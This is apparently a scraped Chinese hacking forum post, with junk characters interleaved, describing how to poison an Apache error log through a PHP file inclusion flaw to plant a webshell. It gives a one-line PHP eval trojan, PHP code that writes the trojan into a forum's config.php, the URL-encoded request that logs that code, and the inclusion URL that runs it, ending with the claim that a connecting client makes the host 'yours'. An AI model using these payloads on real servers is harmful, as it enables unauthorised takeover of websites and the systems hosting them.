php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。
$ j* l" U' k4 h2 e( H& y
! d" ?) @+ R1 j0 a7 Z7 L9 }7 L6 C2 Q比如还是这句一句话木马
<?eval($_POST[cmd]);?>   
' C# F; Y. n. G7 T
: U4 f! O; b  y5 w, J到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
1 P( g5 e: K' q( |/ `  H
7 D2 k- n; v* r; [/ @; O<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
fclose($fp);?>   //在config.php里写入一句木马语句

我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
: r0 j/ O' j1 ^# V5 U' o. _1 t1 F%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
  ~. z# J# U. K0 ffclose%28%24fp%29%3B%3F%3E
" `- h, }) N  a) x我们提交
$ ]0 N5 q& @% `! L7 i# Fhttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
: E/ Y$ ~/ P+ g%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
5 G, d' C8 x7 n5 d3 icmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

这样就错误日志里就记录下了这行写入webshell的代码。
/ N% L& ~. J$ ~0 B我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
9 w8 t0 {2 o) P, C* O! i
5 ?) @! {& d) P7 O8 S这样webshell就写入成功了，config.php里就写入一句木马语句
$ |! Z: X2 I( Y2 S: AOK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
直接用lanker的客户端一连，主机就是你的了。
